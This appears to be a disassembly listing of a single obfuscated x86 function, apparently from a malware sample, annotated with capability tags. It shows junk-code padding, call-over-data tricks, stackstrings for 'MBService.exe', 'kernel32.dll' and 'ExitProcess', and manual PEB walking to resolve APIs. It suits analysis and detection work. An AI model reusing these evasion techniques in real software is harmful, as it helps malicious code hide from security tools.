Function at 0x589b12
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fbc
push ebx
push esi
push edi
push eax
push esi
add esp, 4
xor eax, 0xac32
sub eax, 0x13949
or eax, 0x9119
pop eax
push ecx
and ecx, 0x653b
and ecx, 0x14dda
pop ecx
push edi
push edi
add esp, 4
and edi, 0x12b53
pop edi
mov eax, 0x4d
mov word [ebp - 0x1ef4], ax
mov ecx, 0x42
mov word [ebp - 0x1ef2], cx
mov edx, 0x53
mov word [ebp - 0x1ef0], dx
mov eax, 0x65
mov word [ebp - 0x1eee], ax
mov ecx, 0x72
mov word [ebp - 0x1eec], cx
mov edx, 0x76
mov word [ebp - 0x1eea], dx
mov eax, 0x69
mov word [ebp - 0x1ee8], ax
mov ecx, 0x63
mov word [ebp - 0x1ee6], cx
mov edx, 0x65
mov word [ebp - 0x1ee4], dx
mov eax, 0x2e
mov word [ebp - 0x1ee2], ax
mov ecx, 0x65
mov word [ebp - 0x1ee0], cx
mov edx, 0x78
mov word [ebp - 0x1ede], dx
mov eax, 0x65
mov word [ebp - 0x1edc], ax
xor ecx, ecx
mov word [ebp - 0x1eda], cx
mov dword [ebp - 0xfac], 1
push edi
push ecx
add esp, 4
and edi, 0xacee
add edi, 0xc66b
add edi, 0x13034
pop edi
push ebx
or ebx, 0x12df1
and ebx, 0x4e1d
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x13252
pop esi
imul edx, dword [ebp - 0xfac], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0xfac], 0x138
sub edx, eax
xor edx, 0xabe912
imul edx, dword [ebp - 0xfac]
imul ecx, dword [ebp - 0xfac], 0x138
sub edx, ecx
mov dword [ebp - 0xfb0], edx
push esi
or esi, 0x1078
xor esi, 0x175aa
jmp 0x5857db
pop esi
push ecx
push edi
add esp, 4
xor ecx, 0x9a84
and ecx, 0x4dfc
or ecx, 0x1664
sub ecx, 0x8ee7
pop ecx
mov dword [ebp - 0x10], 1
push esi
add esi, 0x5ca
add esi, 0x11013
or esi, 0xbb0f
pop esi
push eax
push ecx
add esp, 4
add eax, 0x17914
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0x8a19
add ecx, 0x9276
pop ecx
imul edx, dword [ebp - 0x10], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x10], 0x138
sub edx, eax
xor edx, 0x153c
imul edx, dword [ebp - 0x10]
imul ecx, dword [ebp - 0x10], 0x138
sub edx, ecx
mov dword [ebp - 0x14], edx
push esi
and esi, 0x84f8
call 0x585873
add byte [edi + 0x49], cl
inc ebx
dec esi
inc eax
dec edx
add esp, 4
and esi, 0x2d81
jmp 0x585884
pop esi
push edi
push ebx
add esp, 4
and edi, 0x2810
pop edi
push edx
sub edx, 0x70ee
jmp 0x5858a0
add edx, 0xef78
pop edx
push ebx
jmp 0x5858af
call 0x5858bf
add byte [ecx + 0x49], cl
xor al, 0x3f
dec esp
cmp esi, dword [0x833f4a4c]
les eax, [ebx + ebx*2]
mov dword [ebp - 0x2c], 1
push ecx
or ecx, 0x17d69
and ecx, 0x12572
and ecx, 0x771b
add ecx, 0x17d96
pop ecx
push eax
call 0x5858f2
add byte [esi], dh
dec ebx
xor eax, 0x3f3b3632
add esp, 4
add eax, 0x10592
pop eax
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor edx, 0
imul edx, dword [ebp - 0x2c]
imul ecx, dword [ebp - 0x2c], 0x138
sub edx, ecx
mov dword [ebp - 0x30], edx
jmp 0x585add
mov ecx, dword [ebp - 0xfb0]
mov edx, dword [ebp - 0xfac]
mov dword [ebp - 0x152c], ecx
mov dword [ebp - 0x1528], edx
push ebx
or ebx, 0x945e
sub ebx, 0x6aab
and ebx, 0xcfd3
pop ebx
push ecx
push ebx
add esp, 4
jmp 0x585b14
sub ecx, 0x6311
xor ecx, 0x12d28
or ecx, 0x16f71
pop ecx
push eax
jmp 0x585b2d
pop eax
push edx
push eax
add esp, 4
and edx, 0xa596
add edx, 0x137af
pop edx
push edx
call 0x585b4f
add byte [edi], dh
dec ebp
cmp dword [esi + eax*2], esi
cmp al, 0x3b
inc ecx
add esp, 4
sub edx, 0xa37f
pop edx
mov eax, dword [ebp - 0x30]
add eax, 0x138
imul ecx, dword [ebp - 0x2c], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x2c], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1d2c], eax
push eax
sub eax, 0x9148
call 0x585b99
add byte [ebx], dh
cmp byte [ebx + 0x3c], cl
xor eax, 0x45503339
add esp, 4
call 0x585bab
add byte [ecx], bh
dec edi
inc edx
cmp al, byte [esi + 0x3f]
inc ecx
dec edi
inc esp
add esp, 4
or eax, 0x133cf
pop eax
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x585c11
mov dword [ebp - 0x149c], 1
jmp 0x585c1b
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x588c8e
push ebx
push edi
add esp, 4
sub ebx, 0x492f
sub ebx, 0x1279f
sub ebx, 0xee35
and ebx, 0xdbc9
pop ebx
push ecx
and ecx, 0xad0b
xor ecx, 0x205
xor ecx, 0x48e5
pop ecx
push ebx
push edi
add esp, 4
xor ebx, 0xd2b3
xor ebx, 0x10fca
and ebx, 0x1421c
or ebx, 0x1084b
pop ebx
push edi
and edi, 0x585b
jmp 0x585c93
xor edi, 0x11009
pop edi
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x585e15
push ecx
push ecx
add esp, 4
xor ecx, 0xe8a9
pop ecx
push esi
or esi, 0x92e3
pop esi
push edx
push ebx
add esp, 4
xor edx, 0x1319f
xor edx, 0x7ddf
and edx, 0xd6e9
xor edx, 0x13df3
pop edx
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x1d3c], edx
mov edx, dword [ebp - 0x1d3c]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
sub eax, 0x898
mov dword [ebp - 0x1d44], eax
mov dword [ebp - 0xfb4], 1
push ecx
push eax
add esp, 4
xor ecx, 0x1395e
pop ecx
push eax
push edx
add esp, 4
xor eax, 0xddc7
pop eax
push edx
xor edx, 0x17c21
pop edx
push edx
push esi
add esp, 4
and edx, 0x2ad0
xor edx, 0x5bc7
pop edx
imul ecx, dword [ebp - 0xfb4], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xfb4], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d44]
imul ecx, dword [ebp - 0xfb4]
imul eax, dword [ebp - 0xfb4], 0x138
sub ecx, eax
mov dword [ebp - 0xfb8], ecx
mov ecx, dword [ebp - 0xfb8]
mov edx, dword [ebp - 0xfb4]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
push eax
sub eax, 0x132d
or eax, 0x1046e
or eax, 0xfa0f
pop eax
push eax
push edi
add esp, 4
add eax, 0x90d0
and eax, 0x750c
pop eax
push ecx
push edx
add esp, 4
xor ecx, 0x17ab4
pop ecx
push edx
sub edx, 0x12206
add edx, 0x9059
and edx, 0x13e3e
pop edx
push edx
push ecx
add esp, 4
xor edx, 0x486c
add edx, 0x131e0
sub edx, 0x1226f
and edx, 0x5350
pop edx
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push ecx
call 0x585ea4
add byte [ebx + 0x3e], cl
inc ebp
dec eax
inc ecx
cmp esi, dword [0x8104c483]
jmp 0x59670d
mov dword [ebp - 0x3c0], 0
call 0x588c9d
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push ecx
add ecx, 0xc98e
or ecx, 0xfda8
pop ecx
push ecx
or ecx, 0xf654
call 0x588cca
add byte [ecx + ecx*2], dh
dec esp
dec ecx
cmp al, 0x46
add esp, 4
jmp 0x588cd4
add ecx, 0xc0c9
pop ecx
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edi
and edi, 0x1487
call 0x588cfd
add byte [esi + edi], bh
inc esp
dec ecx
inc edx
cmp cl, byte [edx + 0x36]
add esp, 4
and edi, 0x5585
add edi, 0xc9c4
pop edi
push edi
push edx
add esp, 4
sub edi, 0x160d1
pop edi
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push esi
xor esi, 0x9e02
xor esi, 0xfa8d
xor esi, 0x58ea
jmp 0x588d7d
pop esi
push esi
push esi
add esp, 4
jmp 0x588d8a
jmp 0x588d92
pop esi
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push eax
xor eax, 0x4866
and eax, 0xb23a
jmp 0x588dd7
pop eax
push edx
push esi
add esp, 4
and edx, 0x6571
add edx, 0xd145
add edx, 0x16912
or edx, 0x18536
pop edx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push ebx
or ebx, 0xa864
pop ebx
push edi
push ebx
add esp, 4
and edi, 0xc1c5
add edi, 0x739f
pop edi
push esi
push esi
add esp, 4
add esi, 0xbf32
add esi, 0x1857
sub esi, 0x7d80
pop esi
mov dword [ebp - 0x1fa4], 0xe
push esi
xor esi, 0x109c
add esi, 0xc3e3
sub esi, 0x16e83
and esi, 0xece
pop esi
push ebx
push edx
add esp, 4
or ebx, 0xfc5d
add ebx, 0x8862
and ebx, 0x167a2
pop ebx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push eax
push edi
add esp, 4
xor eax, 0x7e32
pop eax
push eax
add eax, 0x16bf0
pop eax
push esi
push edx
add esp, 4
jmp 0x588ec9
sub esi, 0x11cfc
add esi, 0xd078
sub esi, 0x910b
pop esi
mov dword [ebp - 0x1fa8], 0xffffffff
push esi
push eax
add esp, 4
add esi, 0x125a8
pop esi
push eax
push esi
add esp, 4
xor eax, 0x4e25
pop eax
push edx
sub edx, 0x10550
pop edx
push ebx
push eax
add esp, 4
and ebx, 0x184f7
and ebx, 0x67e
pop ebx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x588f35
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push eax
push eax
add esp, 4
add eax, 0x53a0
pop eax
push ecx
push edi
add esp, 4
xor ecx, 0x4af5
and ecx, 0x6cb5
sub ecx, 0x2d28
sub ecx, 0x9f68
pop ecx
push edx
and edx, 0x11d9f
pop edx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x588faf
push ebx
push edx
add esp, 4
add ebx, 0x13c89
xor ebx, 0x3fb9
jmp 0x588f91
sub ebx, 0x3a1e
pop ebx
push ecx
call 0x588fa6
add byte [ebp + 0x4f], al
xor al, 0x47
dec esp
xor eax, 0x4c4834c
pop ecx
jmp 0x5891dd
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push esi
xor esi, 0x114dc
pop esi
push esi
add esi, 0xff20
pop esi
push ecx
call 0x588fe4
add byte [ecx + 0x3a], cl
push eax
dec ecx
dec eax
xor al, byte [ebx + 0x4c]
add esp, 4
sub ecx, 0x1560a
jmp 0x588ff6
pop ecx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x58905e
push edx
xor edx, 0x179b
pop edx
push ebx
push edi
add esp, 4
jmp 0x589031
call 0x589041
add byte [ebp + 0x3c], cl
inc eax
xor al, 0x3d
inc ebx
dec esi
dec ebx
push eax
add esp, 4
pop ebx
push eax
or eax, 0x8e5
pop eax
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x58918f
cmp dword [ebp - 0xc08], 0
jle 0x589183
push edi
and edi, 0x7f05
xor edi, 0x6f40
pop edi
push eax
add eax, 0x1596
call 0x58908d
add byte [edx + edi], dh
inc esi
cmp cl, byte [esi + 0x4e]
xor eax, 0x8104c483
sar ah, 4
add byte [eax], al
and eax, 0x55f7
pop eax
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x58911f
push ebx
jmp 0x5890bd
add ebx, 0xd97d
add ebx, 0x14dce
pop ebx
push edx
push edx
add esp, 4
or edx, 0xdc1f
jmp 0x5890de
and edx, 0x156f9
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x589107
mov dword [ebp - 0x14c0], 1
jmp 0x589111
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x589183
push ecx
push edx
add esp, 4
jmp 0x58912a
or ecx, 0x891e
sub ecx, 0x15f17
call 0x589145
add byte [0x343e3935], bh
cmp byte [edx], bh
xor al, byte [eax - 0x7d]
les eax, [ecx + ebx*2]
push edx
sub edx, 0x104e
pop edx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x58905e
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x5891d8
push ecx
or ecx, 0xf332
pop ecx
push ecx
push ebx
add esp, 4
add ecx, 0x5100
sub ecx, 0x742e
add ecx, 0x1368e
xor ecx, 0xed0e
pop ecx
push eax
push edx
add esp, 4
add eax, 0x53c8
pop eax
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x589219
jmp 0x588f26
push esi
push ebx
add esp, 4
sub esi, 0x177dd
and esi, 0xa728
pop esi
push edi
push ecx
add esp, 4
xor edi, 0xb354
sub edi, 0xcb31
jmp 0x589208
add edi, 0x30f
pop edi
mov dword [ebp - 0x3cc], 0
push esi
push ecx
add esp, 4
add esi, 0xb61f
sub esi, 0x16272
pop esi
push edi
jmp 0x589235
jmp 0x58923e
or edi, 0xeb48
and edi, 0xffce
pop edi
push ecx
or ecx, 0x24c8
or ecx, 0x162e7
call 0x589267
add byte [ebp + 0x4e], al
cmp byte [0x3438494a], bh
xor eax, 0x5904c483
push ecx
push eax
add esp, 4
sub ecx, 0xf5dc
xor ecx, 0x18398
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push edx
call 0x5892a1
add byte [edi + edi], dh
dec edi
cmp eax, 0x4b4f4947
add esp, 4
jmp 0x5892ab
and edx, 0x23d8
and edx, 0x13cb0
pop edx
push ebx
push edx
add esp, 4
sub ebx, 0x183d0
pop ebx
mov dword [ebp - 0x1fac], 0xffffffff
push ebx
or ebx, 0xa6b0
xor ebx, 0x360d
call 0x5892e7
add byte [ebp + 0x4a], cl
xor eax, 0x83454540
les eax, [ebx + ebp*8]
add eax, 0x3244503f
cmp al, 0x5b
push edi
sub edi, 0x1472c
sub edi, 0x11d55
pop edi
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x58931d
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push ebx
push edi
add esp, 4
or ebx, 0x87bf
or ebx, 0x155e9
xor ebx, 0x1627d
and ebx, 0x176e9
pop ebx
push ebx
push ecx
add esp, 4
jmp 0x589349
jmp 0x58934e
pop ebx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x589397
push ecx
add ecx, 0x80b9
and ecx, 0x12810
xor ecx, 0x1e75
call 0x589382
add byte [ebx + 0x4b], al
dec eax
dec ebp
dec esp
dec edx
inc edx
cmp dword [esi - 0x7d], eax
les eax, [ecx + ebx*2]
push esi
push ebx
add esp, 4
and esi, 0x17d69
pop esi
jmp 0x5895c5
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push esi
and esi, 0x225b
add esi, 0x5420
xor esi, 0x11605
pop esi
push edx
push ebx
add esp, 4
or edx, 0xe589
add edx, 0x13b29
and edx, 0x10f36
xor edx, 0x9185
pop edx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x589446
push edx
add edx, 0xfb03
pop edx
push ecx
push ecx
add esp, 4
call 0x58941f
add byte [eax], bh
inc ebx
push eax
inc edx
xor al, 0x37
dec esp
aaa
add esp, 4
and ecx, 0x18669
pop ecx
push ecx
push esi
add esp, 4
add ecx, 0x8684
pop ecx
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x589577
cmp dword [ebp - 0xc10], 0
jle 0x58956b
push ebx
xor ebx, 0x9588
call 0x589467
add byte [eax + edx*2 + 0x34], cl
dec ebx
inc ebp
inc ebx
push eax
add esp, 4
or ebx, 0x84b5
pop ebx
push ebx
call 0x589481
add byte [0x3f404642], bh
push eax
xor eax, 0xc4834747
add al, 0x5b
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x589507
push edx
call 0x5894aa
add byte [eax + 0x3c], al
inc ebp
dec edx
dec esi
cmp edi, dword [edx]
dec ecx
add esp, 4
or edx, 0x117fb
jmp 0x5894ba
pop edx
push esi
push edi
add esp, 4
and esi, 0x1aa2
or esi, 0x922c
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x5894ef
mov dword [ebp - 0x14cc], 1
jmp 0x5894f9
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x58956b
push esi
push edx
add esp, 4
sub esi, 0x6047
or esi, 0x1153b
add esi, 0x8b52
pop esi
push esi
jmp 0x589529
call 0x589535
add byte [ebx], dh
dec eax
xor al, 0x48
dec edx
cmp eax, dword [ebx - 0x74a1fb3c]
xchg ebp, eax
invalid
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x5895c0
push eax
push esi
add esp, 4
sub eax, 0x1373e
sub eax, 0x10218
add eax, 0x15716
xor eax, 0x3505
pop eax
push edx
xor edx, 0xda7
pop edx
push eax
push ebx
add esp, 4
add eax, 0xd158
pop eax
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x589601
jmp 0x58930e
push ecx
push ecx
add esp, 4
sub ecx, 0x107e3
xor ecx, 0xc81b
pop ecx
push edx
push ecx
add esp, 4
add edx, 0x56b1
jmp 0x5895ea
or edx, 0x7598
and edx, 0x62d8
pop edx
mov dword [ebp - 0xa5c], 0
push ebx
sub ebx, 0x5b5f
pop ebx
push esi
xor esi, 0x18dd
pop esi
push eax
push ebx
add esp, 4
call 0x589623
add byte [edx], dh
inc esp
aaa
dec edi
xor esi, dword [esi]
inc ebp
add esp, 4
add eax, 0x104f2
xor eax, 0x36c7
pop eax
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push ecx
and ecx, 0x158f9
and ecx, 0x13bea
xor ecx, 0xe509
add ecx, 0x1421c
pop ecx
push ebx
push edx
add esp, 4
sub ebx, 0x10a35
add ebx, 0x17dc9
add ebx, 0x480d
pop ebx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push esi
push edi
add esp, 4
sub esi, 0x15f46
or esi, 0x17e33
and esi, 0xc3dd
pop esi
push eax
sub eax, 0xea9e
sub eax, 0x11754
add eax, 0x13301
and eax, 0x14032
pop eax
push esi
call 0x589792
add byte [ebx], dh
cmp al, 0x50
aaa
cmp dh, byte [ebx]
aas
add esp, 4
and esi, 0xc987
pop esi
push ecx
sub ecx, 0x8903
add ecx, 0x6cd5
and ecx, 0xef69
xor ecx, 0x91b6
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
and ebx, 0xe745
call 0x5897f4
add byte [edi + 0x35], cl
inc eax
dec esi
push eax
inc ebp
dec esp
dec ebx
aaa
add esp, 4
add ebx, 0xa872
and ebx, 0x5bbb
pop ebx
push eax
push eax
add esp, 4
add eax, 0x9a81
pop eax
cmp dword [ebp - 0x14d4], 0
jne 0x589828
mov dword [ebp - 0x2e0], 0
jmp 0x589ae4
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push eax
jmp 0x589842
call 0x589851
add byte [ebp + eax*2 + 0x44], cl
inc ebp
cmp al, 0x4e
cmp dword [0x4c48347], edi
pop eax
push esi
and esi, 0xf4e1
add esi, 0x4b9e
jmp 0x58986b
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x589884
mov dword [ebp - 0x2e0], 0
jmp 0x589ae4
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push eax
push edi
add esp, 4
xor eax, 0xca9
jmp 0x5898a1
pop eax
push esi
call 0x5898b2
add byte [ebx], bh
inc eax
inc edx
dec eax
inc esi
dec ebx
xor al, byte [ebp + 0x4d]
add esp, 4
add esi, 0xe1c0
or esi, 0xd50d
pop esi
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push edi
push eax
add esp, 4
and edi, 0x1571a
or edi, 0x41db
or edi, 0x9ec3
jmp 0x58990f
pop edi
push ecx
jmp 0x589918
pop ecx
push esi
xor esi, 0xbf9c
pop esi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push eax
push edi
add esp, 4
add eax, 0x17e16
xor eax, 0x154d3
and eax, 0x14ac9
add eax, 0x9e76
pop eax
push esi
jmp 0x5899a0
or esi, 0x5b99
xor esi, 0x82a2
pop esi
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x5899d0
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x589a33
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x5898ef
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x5898ef
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x589a1d
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x589a27
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x589a7c
push eax
sub eax, 0x1769b
add eax, 0xb8cf
or eax, 0xb9ea
and eax, 0xf14f
pop eax
push edx
push ecx
add esp, 4
call 0x589a6a
add byte [esi], dh
inc esi
aas
xor bh, byte [ebx]
dec esp
inc eax
push eax
add esp, 4
pop edx
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x589ae4
push ebx
push edx
add esp, 4
or ebx, 0x1683b
pop ebx
push esi
xor esi, 0x80e1
pop esi
push ebx
push ebx
add esp, 4
or ebx, 0xb622
or ebx, 0x14100
sub ebx, 0x9663
sub ebx, 0x154e5
pop ebx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x589ada
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x589890
mov dword [ebp - 0x2e0], 0
push ecx
xor ecx, 0x18288
add ecx, 0x15d4a
pop ecx
push ecx
push ecx
add esp, 4
sub ecx, 0x68e
sub ecx, 0x17607
call 0x589b12
add byte [edi], bh
inc ebp
inc edi
dec ebp
dec ebp
push eax
dec ecx
inc edx
cmp eax, dword [ebx - 0x7ca6fb3c]
mov ebp, 0xfffffd20
add byte [edi], cl
test dword [ecx + ecx], ecx
add byte [eax], al
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push ebx
add esp, 4
and ecx, 0x148a
pop ecx
push edi
and edi, 0xc885
pop edi
